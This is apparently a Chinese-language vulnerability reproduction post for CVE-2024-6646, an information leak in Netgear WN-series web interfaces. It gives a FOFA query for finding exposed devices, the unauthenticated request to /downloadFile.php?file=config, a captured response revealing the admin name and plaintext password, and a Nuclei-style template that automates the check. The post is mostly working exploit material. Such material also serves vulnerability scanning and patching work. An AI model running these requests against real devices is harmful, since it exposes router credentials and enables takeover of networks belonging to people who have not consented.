CVE-2024-6646 漏洞复现

title=="Netgear"

GET /downloadFile.php?file=config HTTP/1.1Host: x.x.x.xUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 Edg/109.0.1518.69Connection: closeAccept: */*Accept-Encoding: gzip, deflateAccept-Language: en

HTTP/1.1 200 OKConnection: closeContent-Length: 16753Cache-Control: must-revalidate, post-check=0, pre-check=0Content-Description: File TransferContent-Disposition: attachment; filename=configContent-Transfer-Encoding: binaryContent-Type: application/force-downloadDate: Thu, 11 Jul 2024 02:11:21 GMTExpires: 0Pragma: publicServer: lighttpd/1.4.18X-Lighttpd-Send-File: /var/configX-Powered-By: PHP/4.4.0system:configVersion 3.0system:basicSettings tsystem:basicSettings:apName netgear.io%3Bsystem:basicSettings:sysMacAddress 00-00-00-00-00-00system:basicSettings:sysVersion 1.0system:basicSettings:sysCountryRegion 233system:basicSettings:adminName adminsystem:basicSettings:adminPasswd viiraviirasystem:basicSettings:dhcpClientStatus 0system:basicSettings:ipAddr 192.168.2.11system:basicSettings:netmaskAddr 255.255.255.0

id: CVE-2024-6646info:  name: Netgear Web 界面 downloadFile.php 信息泄露漏洞  author: fgz  severity: high  description: 'Netgear的WN系列产品存在一个漏洞，该漏洞存在于Web界面的某个未知功能中，影响文件为/downloadFile.php。通过操纵带有输入配置的参数文件，攻击者可以获取敏感信息。该攻击可能远程发起。'  tags: 2023  metadata:    max-request: 3    fofa-query: title=="Netgear"    verified: truehttp:  - method: GET    path:      - "{{BaseURL}}/downloadFile.php?file=config"    headers:      Accept-Encoding: gzip, deflate      Accept-Language: en    matchers:      - type: dsl        dsl:          - "status_code == 200 && contains(body, 'adminPasswd')"